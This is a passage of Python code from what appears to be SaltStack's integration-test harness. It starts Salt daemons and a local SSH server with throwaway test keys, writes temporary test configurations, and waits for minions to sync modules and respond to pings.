daemon_log_prefix='sub-salt-minion/{}'.format(self.sub_minion_opts['id']), daemon_cli_script_name='minion', daemon_config=self.sub_minion_opts, daemon_config_dir=RUNTIME_VARS.TMP_SUB_MINION_CONF_DIR, daemon_class=SaltMinion, bin_dir_path=SCRIPT_DIR, fail_hard=True, event_listener_config_dir=RUNTIME_VARS.TMP_CONF_DIR, start_timeout=60) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_GREEN}Starting sub salt-minion ... STARTED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() except (RuntimeWarning, RuntimeError): sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_RED}Starting sub salt-minion ... FAILED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() try: sys.stdout.write( ' * {LIGHT_YELLOW}Starting syndic salt-master ... {ENDC}'.format(**self.colors) ) sys.stdout.flush() self.smaster_process = start_daemon( daemon_name='salt-smaster', daemon_id=self.syndic_master_opts['id'], daemon_log_prefix='salt-smaster/{}'.format(self.syndic_master_opts['id']), daemon_cli_script_name='master', daemon_config=self.syndic_master_opts, daemon_config_dir=RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR, daemon_class=SaltMaster, bin_dir_path=SCRIPT_DIR, fail_hard=True, event_listener_config_dir=RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR, start_timeout=60) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_GREEN}Starting syndic salt-master ... STARTED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() except (RuntimeWarning, RuntimeError): sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_RED}Starting syndic salt-master ... FAILED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() try: sys.stdout.write( ' * {LIGHT_YELLOW}Starting salt-syndic ... {ENDC}'.format(**self.colors) ) sys.stdout.flush() self.syndic_process = start_daemon( daemon_name='salt-syndic', daemon_id=self.syndic_opts['id'], daemon_log_prefix='salt-syndic/{}'.format(self.syndic_opts['id']), daemon_cli_script_name='syndic', daemon_config=self.syndic_opts, daemon_config_dir=RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR, daemon_class=SaltSyndic, bin_dir_path=SCRIPT_DIR, fail_hard=True, event_listener_config_dir=RUNTIME_VARS.TMP_CONF_DIR, start_timeout=60) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_GREEN}Starting salt-syndic ... STARTED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() except (RuntimeWarning, RuntimeError): sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_RED}Starting salt-syndic ... FAILED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() if self.parser.options.proxy: try: sys.stdout.write( ' * {LIGHT_YELLOW}Starting salt-proxy ... {ENDC}'.format(**self.colors) ) sys.stdout.flush() self.proxy_process = start_daemon( daemon_name='salt-proxy', daemon_id=self.master_opts['id'], daemon_log_prefix='salt-proxy/{}'.format(self.proxy_opts['id']), daemon_cli_script_name='proxy', daemon_config=self.proxy_opts, daemon_config_dir=RUNTIME_VARS.TMP_CONF_DIR, daemon_class=SaltProxy, bin_dir_path=SCRIPT_DIR, fail_hard=True, start_timeout=60) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_GREEN}Starting salt-proxy ... STARTED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() except (RuntimeWarning, RuntimeError): sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) sys.stdout.write( ' * {LIGHT_RED}Starting salt-proxy ... FAILED!\n{ENDC}'.format(**self.colors) ) sys.stdout.flush() start_tcp_daemons = start_zeromq_daemons def prep_ssh(self): ''' Generate keys and start an ssh daemon on an alternate port ''' sys.stdout.write( ' * {LIGHT_GREEN}Starting {0} ... {ENDC}'.format( 'SSH server', **self.colors ) ) keygen = salt.utils.path.which('ssh-keygen') sshd = salt.utils.path.which('sshd') if not (keygen and sshd): print('WARNING: Could not initialize SSH subsystem. Tests for salt-ssh may break!') return if not os.path.exists(RUNTIME_VARS.TMP_CONF_DIR): os.makedirs(RUNTIME_VARS.TMP_CONF_DIR) # Generate client key pub_key_test_file = os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'key_test.pub') priv_key_test_file = os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'key_test') if os.path.exists(pub_key_test_file): os.remove(pub_key_test_file) if os.path.exists(priv_key_test_file): os.remove(priv_key_test_file) keygen_process = subprocess.Popen( [keygen, '-t', 'ecdsa', '-b', '521', '-C', '"$(whoami)@$(hostname)-$(date -I)"', '-f', 'key_test', '-P', ''], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, cwd=RUNTIME_VARS.TMP_CONF_DIR ) _, keygen_err = keygen_process.communicate() if keygen_err: print('ssh-keygen had errors: {0}'.format(salt.utils.stringutils.to_str(keygen_err))) sshd_config_path = os.path.join(FILES, 'conf/_ssh/sshd_config') shutil.copy(sshd_config_path, RUNTIME_VARS.TMP_CONF_DIR) auth_key_file = os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'key_test.pub') # Generate server key server_key_dir = os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'server') if not os.path.exists(server_key_dir): os.makedirs(server_key_dir) server_dsa_priv_key_file = os.path.join(server_key_dir, 'ssh_host_dsa_key') server_dsa_pub_key_file = os.path.join(server_key_dir, 'ssh_host_dsa_key.pub') server_ecdsa_priv_key_file = os.path.join(server_key_dir, 'ssh_host_ecdsa_key') server_ecdsa_pub_key_file = os.path.join(server_key_dir, 'ssh_host_ecdsa_key.pub') server_ed25519_priv_key_file = os.path.join(server_key_dir, 'ssh_host_ed25519_key') server_ed25519_pub_key_file = os.path.join(server_key_dir, 'ssh_host.ed25519_key.pub') for server_key_file in (server_dsa_priv_key_file, server_dsa_pub_key_file, server_ecdsa_priv_key_file, server_ecdsa_pub_key_file, server_ed25519_priv_key_file, server_ed25519_pub_key_file): if os.path.exists(server_key_file): os.remove(server_key_file) keygen_process_dsa = subprocess.Popen( [keygen, '-t', 'dsa', '-b', '1024', '-C', '"$(whoami)@$(hostname)-$(date -I)"', '-f', 'ssh_host_dsa_key', '-P', ''], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, cwd=server_key_dir ) _, keygen_dsa_err = keygen_process_dsa.communicate() if keygen_dsa_err: print('ssh-keygen had errors: {0}'.format(salt.utils.stringutils.to_str(keygen_dsa_err))) keygen_process_ecdsa = subprocess.Popen( [keygen, '-t', 'ecdsa', '-b', '521', '-C', '"$(whoami)@$(hostname)-$(date -I)"', '-f', 'ssh_host_ecdsa_key', '-P', ''], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, cwd=server_key_dir ) _, keygen_escda_err = keygen_process_ecdsa.communicate() if keygen_escda_err: print('ssh-keygen had errors: {0}'.format(salt.utils.stringutils.to_str(keygen_escda_err))) keygen_process_ed25519 = subprocess.Popen( [keygen, '-t', 'ed25519', '-b', '521', '-C', '"$(whoami)@$(hostname)-$(date -I)"', '-f', 'ssh_host_ed25519_key', '-P', ''], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, cwd=server_key_dir ) _, keygen_ed25519_err = keygen_process_ed25519.communicate() if keygen_ed25519_err: print('ssh-keygen had errors: {0}'.format(salt.utils.stringutils.to_str(keygen_ed25519_err))) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'sshd_config'), 'a') as ssh_config: ssh_config.write('AuthorizedKeysFile {0}\n'.format(auth_key_file)) if not keygen_dsa_err: ssh_config.write('HostKey {0}\n'.format(server_dsa_priv_key_file)) if not keygen_escda_err: ssh_config.write('HostKey {0}\n'.format(server_ecdsa_priv_key_file)) if not keygen_ed25519_err: ssh_config.write('HostKey {0}\n'.format(server_ed25519_priv_key_file)) self.sshd_pidfile = os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'sshd.pid') self.sshd_process = subprocess.Popen( [sshd, '-f', 'sshd_config', '-oPidFile={0}'.format(self.sshd_pidfile)], stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, cwd=RUNTIME_VARS.TMP_CONF_DIR ) _, sshd_err = self.sshd_process.communicate() if sshd_err: print('sshd had errors on startup: {0}'.format(salt.utils.stringutils.to_str(sshd_err))) else: os.environ['SSH_DAEMON_RUNNING'] = 'True' roster_path = os.path.join(FILES, 'conf/_ssh/roster') syndic_roster_path = os.path.join(FILES, 'conf/_ssh/syndic_roster') shutil.copy(roster_path, RUNTIME_VARS.TMP_CONF_DIR) shutil.copy(syndic_roster_path, os.path.join(RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR, 'roster')) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'roster'), 'a') as roster: roster.write(' user: {0}\n'.format(RUNTIME_VARS.RUNNING_TESTS_USER)) roster.write(' priv: {0}/{1}'.format(RUNTIME_VARS.TMP_CONF_DIR, 'key_test')) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR, 'roster'), 'a') as roster: roster.write(' user: {0}\n'.format(RUNTIME_VARS.RUNNING_TESTS_USER)) roster.write(' priv: {0}/{1}'.format(RUNTIME_VARS.TMP_CONF_DIR, 'key_test')) sys.stdout.write( ' {LIGHT_GREEN}STARTED!\n{ENDC}'.format( **self.colors ) ) @classmethod def config(cls, role): ''' Return a configuration for a master/minion/syndic. Currently these roles are: * master * minion * syndic * syndic_master * sub_minion * proxy ''' return RUNTIME_VARS.RUNTIME_CONFIGS[role] @classmethod def config_location(cls): return RUNTIME_VARS.TMP_CONF_DIR @property def client(self): ''' Return a local client which will be used for example to ping and sync the test minions. This client is defined as a class attribute because its creation needs to be deferred to a latter stage. If created it on `__enter__` like it previously was, it would not receive the master events. ''' if 'runtime_client' not in RUNTIME_VARS.RUNTIME_CONFIGS: RUNTIME_VARS.RUNTIME_CONFIGS['runtime_client'] = salt.client.get_local_client( mopts=self.master_opts ) return RUNTIME_VARS.RUNTIME_CONFIGS['runtime_client'] @classmethod def transplant_configs(cls, transport='zeromq'): if os.path.isdir(RUNTIME_VARS.TMP): shutil.rmtree(RUNTIME_VARS.TMP) os.makedirs(RUNTIME_VARS.TMP) os.makedirs(RUNTIME_VARS.TMP_ROOT_DIR) os.makedirs(RUNTIME_VARS.TMP_CONF_DIR) os.makedirs(RUNTIME_VARS.TMP_SUB_MINION_CONF_DIR) os.makedirs(RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR) os.makedirs(RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR) print(' * Transplanting configuration files to \'{0}\''.format(RUNTIME_VARS.TMP_CONF_DIR)) tests_known_hosts_file = os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'salt_ssh_known_hosts') with salt.utils.files.fopen(tests_known_hosts_file, 'w') as known_hosts: known_hosts.write('') # This master connects to syndic_master via a syndic master_opts = salt.config._read_conf_file(os.path.join(RUNTIME_VARS.CONF_DIR, 'master')) master_opts['known_hosts_file'] = tests_known_hosts_file master_opts['cachedir'] = 'cache' master_opts['user'] = RUNTIME_VARS.RUNNING_TESTS_USER master_opts['root_dir'] = os.path.join(TMP_ROOT_DIR) master_opts['pki_dir'] = 'pki' master_opts['syndic_master'] = 'localhost' pytest_stop_sending_events_file = os.path.join(TMP_ROOT_DIR, 'pytest_stop_sending_events_file_master') with salt.utils.files.fopen(pytest_stop_sending_events_file, 'w') as wfh: wfh.write('') master_opts['pytest_stop_sending_events_file'] = pytest_stop_sending_events_file # This minion connects to master minion_opts = salt.config._read_conf_file(os.path.join(RUNTIME_VARS.CONF_DIR, 'minion')) minion_opts['cachedir'] = 'cache' minion_opts['user'] = RUNTIME_VARS.RUNNING_TESTS_USER minion_opts['root_dir'] = os.path.join(TMP_ROOT_DIR) minion_opts['pki_dir'] = 'pki' minion_opts['hosts.file'] = os.path.join(TMP_ROOT_DIR, 'hosts') minion_opts['aliases.file'] = os.path.join(TMP_ROOT_DIR, 'aliases') # This sub_minion also connects to master sub_minion_opts = salt.config._read_conf_file(os.path.join(RUNTIME_VARS.CONF_DIR, 'sub_minion')) sub_minion_opts['cachedir'] = 'cache' sub_minion_opts['user'] = RUNTIME_VARS.RUNNING_TESTS_USER sub_minion_opts['root_dir'] = os.path.join(TMP, 'rootdir-sub-minion') sub_minion_opts['pki_dir'] = 'pki' sub_minion_opts['hosts.file'] = os.path.join(TMP_ROOT_DIR, 'hosts') sub_minion_opts['aliases.file'] = os.path.join(TMP_ROOT_DIR, 'aliases') # This is the master of masters syndic_master_opts = salt.config._read_conf_file(os.path.join(RUNTIME_VARS.CONF_DIR, 'syndic_master')) syndic_master_opts['cachedir'] = 'cache' syndic_master_opts['user'] = RUNTIME_VARS.RUNNING_TESTS_USER syndic_master_opts['root_dir'] = os.path.join(TMP, 'rootdir-syndic-master') syndic_master_opts['pki_dir'] = 'pki' pytest_stop_sending_events_file = os.path.join(TMP_ROOT_DIR, 'pytest_stop_sending_events_file_syndic_master') with salt.utils.files.fopen(pytest_stop_sending_events_file, 'w') as wfh: wfh.write('') syndic_master_opts['pytest_stop_sending_events_file'] = pytest_stop_sending_events_file # This is the syndic for master # Let's start with a copy of the syndic master configuration syndic_opts = copy.deepcopy(syndic_master_opts) # Let's update with the syndic configuration syndic_opts.update(salt.config._read_conf_file(os.path.join(RUNTIME_VARS.CONF_DIR, 'syndic'))) syndic_opts['cachedir'] = 'cache' syndic_opts['root_dir'] = os.path.join(TMP_ROOT_DIR) # This proxy connects to master proxy_opts = salt.config._read_conf_file(os.path.join(CONF_DIR, 'proxy')) proxy_opts['cachedir'] = 'cache' # proxy_opts['user'] = running_tests_user proxy_opts['root_dir'] = os.path.join(TMP, 'rootdir-proxy') proxy_opts['pki_dir'] = 'pki' proxy_opts['hosts.file'] = os.path.join(TMP, 'rootdir-proxy', 'hosts') proxy_opts['aliases.file'] = os.path.join(TMP, 'rootdir-proxy', 'aliases') if transport == 'tcp': master_opts['transport'] = 'tcp' minion_opts['transport'] = 'tcp' sub_minion_opts['transport'] = 'tcp' syndic_master_opts['transport'] = 'tcp' proxy_opts['transport'] = 'tcp' # Set up config options that require internal data master_opts['pillar_roots'] = syndic_master_opts['pillar_roots'] = { 'base': [ RUNTIME_VARS.TMP_PILLAR_TREE, os.path.join(FILES, 'pillar', 'base'), ] } minion_opts['pillar_roots'] = { 'base': [ RUNTIME_VARS.TMP_PILLAR_TREE, os.path.join(FILES, 'pillar', 'base'), ] } master_opts['file_roots'] = syndic_master_opts['file_roots'] = { 'base': [ os.path.join(FILES, 'file', 'base'), # Let's support runtime created files that can be used like: # salt://my-temp-file.txt RUNTIME_VARS.TMP_STATE_TREE ], # Alternate root to test __env__ choices 'prod': [ os.path.join(FILES, 'file', 'prod'), RUNTIME_VARS.TMP_PRODENV_STATE_TREE ] } minion_opts['file_roots'] = { 'base': [ os.path.join(FILES, 'file', 'base'), # Let's support runtime created files that can be used like: # salt://my-temp-file.txt RUNTIME_VARS.TMP_STATE_TREE ], # Alternate root to test __env__ choices 'prod': [ os.path.join(FILES, 'file', 'prod'), RUNTIME_VARS.TMP_PRODENV_STATE_TREE ] } master_opts.setdefault('reactor', []).append( { 'salt/minion/*/start': [ os.path.join(FILES, 'reactor-sync-minion.sls') ], } ) master_opts.setdefault('reactor', []).append( { 'salt/test/reactor': [ os.path.join(FILES, 'reactor-test.sls') ], } ) for opts_dict in (master_opts, syndic_master_opts): if 'ext_pillar' not in opts_dict: opts_dict['ext_pillar'] = [] if salt.utils.platform.is_windows(): opts_dict['ext_pillar'].append( {'cmd_yaml': 'type {0}'.format(os.path.join(FILES, 'ext.yaml'))}) else: opts_dict['ext_pillar'].append( {'cmd_yaml': 'cat {0}'.format(os.path.join(FILES, 'ext.yaml'))}) # all read, only owner write autosign_file_permissions = stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH | stat.S_IWUSR for opts_dict in (master_opts, syndic_master_opts): # We need to copy the extension modules into the new master root_dir or # it will be prefixed by it new_extension_modules_path = os.path.join(opts_dict['root_dir'], 'extension_modules') if not os.path.exists(new_extension_modules_path): shutil.copytree( os.path.join( INTEGRATION_TEST_DIR, 'files', 'extension_modules' ), new_extension_modules_path ) opts_dict['extension_modules'] = os.path.join(opts_dict['root_dir'], 'extension_modules') # Copy the autosign_file to the new master root_dir new_autosign_file_path = os.path.join(opts_dict['root_dir'], 'autosign_file') shutil.copyfile( os.path.join(INTEGRATION_TEST_DIR, 'files', 'autosign_file'), new_autosign_file_path ) os.chmod(new_autosign_file_path, autosign_file_permissions) # Point the config values to the correct temporary paths for name in ('hosts', 'aliases'): optname = '{0}.file'.format(name) optname_path = os.path.join(TMP, name) master_opts[optname] = optname_path minion_opts[optname] = optname_path sub_minion_opts[optname] = optname_path syndic_opts[optname] = optname_path syndic_master_opts[optname] = optname_path proxy_opts[optname] = optname_path master_opts['runtests_conn_check_port'] = get_unused_localhost_port() minion_opts['runtests_conn_check_port'] = get_unused_localhost_port() sub_minion_opts['runtests_conn_check_port'] = get_unused_localhost_port() syndic_opts['runtests_conn_check_port'] = get_unused_localhost_port() syndic_master_opts['runtests_conn_check_port'] = get_unused_localhost_port() proxy_opts['runtests_conn_check_port'] = get_unused_localhost_port() for conf in (master_opts, minion_opts, sub_minion_opts, syndic_opts, syndic_master_opts, proxy_opts): if 'engines' not in conf: conf['engines'] = [] conf['engines'].append({'salt_runtests': {}}) if 'engines_dirs' not in conf: conf['engines_dirs'] = [] conf['engines_dirs'].insert(0, ENGINES_DIR) if 'log_handlers_dirs' not in conf: conf['log_handlers_dirs'] = [] conf['log_handlers_dirs'].insert(0, LOG_HANDLERS_DIR) conf['runtests_log_port'] = SALT_LOG_PORT # ----- Transcribe Configuration ----------------------------------------------------------------------------> for entry in os.listdir(RUNTIME_VARS.CONF_DIR): if entry in ('master', 'minion', 'sub_minion', 'syndic', 'syndic_master', 'proxy'): # These have runtime computed values and will be handled # differently continue entry_path = os.path.join(RUNTIME_VARS.CONF_DIR, entry) if os.path.isfile(entry_path): shutil.copy( entry_path, os.path.join(RUNTIME_VARS.TMP_CONF_DIR, entry) ) elif os.path.isdir(entry_path): shutil.copytree( entry_path, os.path.join(RUNTIME_VARS.TMP_CONF_DIR, entry) ) for entry in ('master', 'minion', 'sub_minion', 'syndic', 'syndic_master', 'proxy'): computed_config = copy.deepcopy(locals()['{0}_opts'.format(entry)]) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, entry), 'w') as fp_: salt.utils.yaml.safe_dump(computed_config, fp_, default_flow_style=False) sub_minion_computed_config = copy.deepcopy(sub_minion_opts) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_SUB_MINION_CONF_DIR, 'minion'), 'w') as wfh: salt.utils.yaml.safe_dump(sub_minion_computed_config, wfh, default_flow_style=False) shutil.copyfile(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'master'), os.path.join(RUNTIME_VARS.TMP_SUB_MINION_CONF_DIR, 'master')) syndic_master_computed_config = copy.deepcopy(syndic_master_opts) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR, 'master'), 'w') as wfh: salt.utils.yaml.safe_dump(syndic_master_computed_config, wfh, default_flow_style=False) syndic_computed_config = copy.deepcopy(syndic_opts) with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR, 'minion'), 'w') as wfh: salt.utils.yaml.safe_dump(syndic_computed_config, wfh, default_flow_style=False) shutil.copyfile(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'master'), os.path.join(RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR, 'master')) # <---- Transcribe Configuration ----------------------------------------------------------------------------- # ----- Verify Environment ----------------------------------------------------------------------------------> master_opts = salt.config.master_config(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'master')) minion_opts = salt.config.minion_config(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'minion')) syndic_opts = salt.config.syndic_config( os.path.join(RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR, 'master'), os.path.join(RUNTIME_VARS.TMP_SYNDIC_MINION_CONF_DIR, 'minion'), ) sub_minion_opts = salt.config.minion_config(os.path.join(RUNTIME_VARS.TMP_SUB_MINION_CONF_DIR, 'minion')) syndic_master_opts = salt.config.master_config(os.path.join(RUNTIME_VARS.TMP_SYNDIC_MASTER_CONF_DIR, 'master')) proxy_opts = salt.config.proxy_config(os.path.join(RUNTIME_VARS.TMP_CONF_DIR, 'proxy')) RUNTIME_VARS.RUNTIME_CONFIGS['master'] = freeze(master_opts) RUNTIME_VARS.RUNTIME_CONFIGS['minion'] = freeze(minion_opts) RUNTIME_VARS.RUNTIME_CONFIGS['syndic'] = freeze(syndic_opts) RUNTIME_VARS.RUNTIME_CONFIGS['sub_minion'] = freeze(sub_minion_opts) RUNTIME_VARS.RUNTIME_CONFIGS['syndic_master'] = freeze(syndic_master_opts) RUNTIME_VARS.RUNTIME_CONFIGS['proxy'] = freeze(proxy_opts) verify_env([os.path.join(master_opts['pki_dir'], 'minions'), os.path.join(master_opts['pki_dir'], 'minions_pre'), os.path.join(master_opts['pki_dir'], 'minions_rejected'), os.path.join(master_opts['pki_dir'], 'minions_denied'), os.path.join(master_opts['cachedir'], 'jobs'), os.path.join(master_opts['root_dir'], 'cache', 'tokens'), os.path.join(syndic_master_opts['pki_dir'], 'minions'), os.path.join(syndic_master_opts['pki_dir'], 'minions_pre'), os.path.join(syndic_master_opts['pki_dir'], 'minions_rejected'), os.path.join(syndic_master_opts['cachedir'], 'jobs'), os.path.join(syndic_master_opts['root_dir'], 'cache', 'tokens'), os.path.join(master_opts['pki_dir'], 'accepted'), os.path.join(master_opts['pki_dir'], 'rejected'), os.path.join(master_opts['pki_dir'], 'pending'), os.path.join(syndic_master_opts['pki_dir'], 'accepted'), os.path.join(syndic_master_opts['pki_dir'], 'rejected'), os.path.join(syndic_master_opts['pki_dir'], 'pending'), os.path.join(minion_opts['pki_dir'], 'accepted'), os.path.join(minion_opts['pki_dir'], 'rejected'), os.path.join(minion_opts['pki_dir'], 'pending'), os.path.join(sub_minion_opts['pki_dir'], 'accepted'), os.path.join(sub_minion_opts['pki_dir'], 'rejected'), os.path.join(sub_minion_opts['pki_dir'], 'pending'), os.path.dirname(master_opts['log_file']), minion_opts['extension_modules'], sub_minion_opts['extension_modules'], sub_minion_opts['pki_dir'], master_opts['sock_dir'], syndic_master_opts['sock_dir'], sub_minion_opts['sock_dir'], minion_opts['sock_dir'], RUNTIME_VARS.TMP_STATE_TREE, RUNTIME_VARS.TMP_PILLAR_TREE, RUNTIME_VARS.TMP_PRODENV_STATE_TREE, TMP, ], RUNTIME_VARS.RUNNING_TESTS_USER, root_dir=master_opts['root_dir'], ) cls.master_opts = master_opts cls.minion_opts = minion_opts # cls.proxy_opts = proxy_opts cls.sub_minion_opts = sub_minion_opts cls.syndic_opts = syndic_opts cls.syndic_master_opts = syndic_master_opts cls.proxy_opts = proxy_opts # <---- Verify Environment ----------------------------------------------------------------------------------- def __exit__(self, type, value, traceback): ''' Kill the minion and master processes ''' self.sub_minion_process.terminate() self.minion_process.terminate() if hasattr(self, 'proxy_process'): self.proxy_process.terminate() self.master_process.terminate() try: self.syndic_process.terminate() except AttributeError: pass try: self.smaster_process.terminate() except AttributeError: pass #salt.utils.process.clean_proc(self.sub_minion_process, wait_for_kill=50) #self.sub_minion_process.join() #salt.utils.process.clean_proc(self.minion_process, wait_for_kill=50) #self.minion_process.join() #salt.utils.process.clean_proc(self.master_process, wait_for_kill=50) #self.master_process.join() #try: # salt.utils.process.clean_proc(self.syndic_process, wait_for_kill=50) # self.syndic_process.join() #except AttributeError: # pass #try: # salt.utils.process.clean_proc(self.smaster_process, wait_for_kill=50) # self.smaster_process.join() #except AttributeError: # pass self.log_server.server_close() self.log_server.shutdown() self._exit_mockbin() self._exit_ssh() self.log_server_process.join() # Shutdown the multiprocessing logging queue listener salt_log_setup.shutdown_multiprocessing_logging() salt_log_setup.shutdown_multiprocessing_logging_listener(daemonizing=True) def pre_setup_minions(self): ''' Subclass this method for additional minion setups. ''' def setup_minions(self): ''' Minions setup routines ''' def post_setup_minions(self): ''' Subclass this method to execute code after the minions have been setup ''' def _enter_mockbin(self): path = os.environ.get('PATH', '') path_items = path.split(os.pathsep) if MOCKBIN not in path_items: path_items.insert(0, MOCKBIN) os.environ['PATH'] = os.pathsep.join(path_items) def _exit_ssh(self): if hasattr(self, 'sshd_process'): try: self.sshd_process.kill() except OSError as exc: if exc.errno != 3: raise with salt.utils.files.fopen(self.sshd_pidfile) as fhr: try: os.kill(int(fhr.read()), signal.SIGKILL) except OSError as exc: if exc.errno != 3: raise def _exit_mockbin(self): path = os.environ.get('PATH', '') path_items = path.split(os.pathsep) try: path_items.remove(MOCKBIN) except ValueError: pass os.environ['PATH'] = os.pathsep.join(path_items) @classmethod def clean(cls): ''' Clean out the tmp files ''' def remove_readonly(func, path, excinfo): # Give full permissions to owner os.chmod(path, stat.S_IRWXU) func(path) for dirname in (TMP, RUNTIME_VARS.TMP_STATE_TREE, RUNTIME_VARS.TMP_PILLAR_TREE, RUNTIME_VARS.TMP_PRODENV_STATE_TREE): if os.path.isdir(dirname): try: shutil.rmtree(six.text_type(dirname), onerror=remove_readonly) except Exception: log.exception('Failed to remove directory: %s', dirname) def wait_for_jid(self, targets, jid, timeout=120): time.sleep(1) # Allow some time for minions to accept jobs now = datetime.now() expire = now + timedelta(seconds=timeout) job_finished = False while now <= expire: running = self.__client_job_running(targets, jid) sys.stdout.write( '\r{0}\r'.format( ' ' * getattr(self.parser.options, 'output_columns', PNUM) ) ) if not running and job_finished is False: # Let's not have false positives and wait one more seconds job_finished = True elif not running and job_finished is True: return True elif running and job_finished is True: job_finished = False if job_finished is False: sys.stdout.write( ' * {LIGHT_YELLOW}[Quit in {0}]{ENDC} Waiting for {1}'.format( '{0}'.format(expire - now).rsplit('.', 1)[0], ', '.join(running), **self.colors ) ) sys.stdout.flush() time.sleep(1) now = datetime.now() else: # pylint: disable=W0120 sys.stdout.write( '\n {LIGHT_RED}*{ENDC} ERROR: Failed to get information ' 'back\n'.format(**self.colors) ) sys.stdout.flush() return False def __client_job_running(self, targets, jid): running = self.client.cmd( list(targets), 'saltutil.running', tgt_type='list' ) return [ k for (k, v) in six.iteritems(running) if v and v[0]['jid'] == jid ] def sync_minion_modules_(self, modules_kind, targets, timeout=None): if not timeout: timeout = 120 # Let's sync all connected minions print( ' {LIGHT_BLUE}*{ENDC} Syncing minion\'s {1} ' '(saltutil.sync_{1})'.format( ', '.join(targets), modules_kind, **self.colors ) ) syncing = set(targets) jid_info = self.client.run_job( list(targets), 'saltutil.sync_{0}'.format(modules_kind), tgt_type='list', timeout=999999999999999, ) if self.wait_for_jid(targets, jid_info['jid'], timeout) is False: print( ' {LIGHT_RED}*{ENDC} WARNING: Minions failed to sync {0}. ' 'Tests requiring these {0} WILL fail'.format( modules_kind, **self.colors) ) raise SystemExit() while syncing: rdata = self.client.get_full_returns(jid_info['jid'], syncing, 1) if rdata: for name, output in six.iteritems(rdata): if not output['ret']: # Already synced!? syncing.remove(name) continue if isinstance(output['ret'], six.string_types): # An errors has occurred print( ' {LIGHT_RED}*{ENDC} {0} Failed to sync {2}: ' '{1}'.format( name, output['ret'], modules_kind, **self.colors) ) return False print( ' {LIGHT_GREEN}*{ENDC} Synced {0} {2}: ' '{1}'.format( name, ', '.join(output['ret']), modules_kind, **self.colors ) ) # Synced! try: syncing.remove(name) except KeyError: print( ' {LIGHT_RED}*{ENDC} {0} already synced??? ' '{1}'.format(name, output, **self.colors) ) return True def sync_minion_states(self, targets, timeout=None): salt.utils.process.appendproctitle('SyncMinionStates') self.sync_minion_modules_('states', targets, timeout=timeout) def sync_minion_modules(self, targets, timeout=None): salt.utils.process.appendproctitle('SyncMinionModules') self.sync_minion_modules_('modules', targets, timeout=timeout) def sync_minion_grains(self, targets, timeout=None): salt.utils.process.appendproctitle('SyncMinionGrains') self.sync_minion_modules_('grains', targets, timeout=timeout) def wait_for_minions(self, start, timeout, sleep=5): ''' Ensure all minions and masters (including sub-masters) are connected. ''' while True: try: ret = self.client.run_job('*', 'test.ping') except salt.exceptions.SaltClientError: ret = None if ret and 'minions' not in ret: continue if ret and sorted(ret['minions']) == ['minion', 'sub_minion']: break if time.time() - start >= timeout: raise RuntimeError("Ping Minions Failed") time.sleep(sleep)
telegram.py
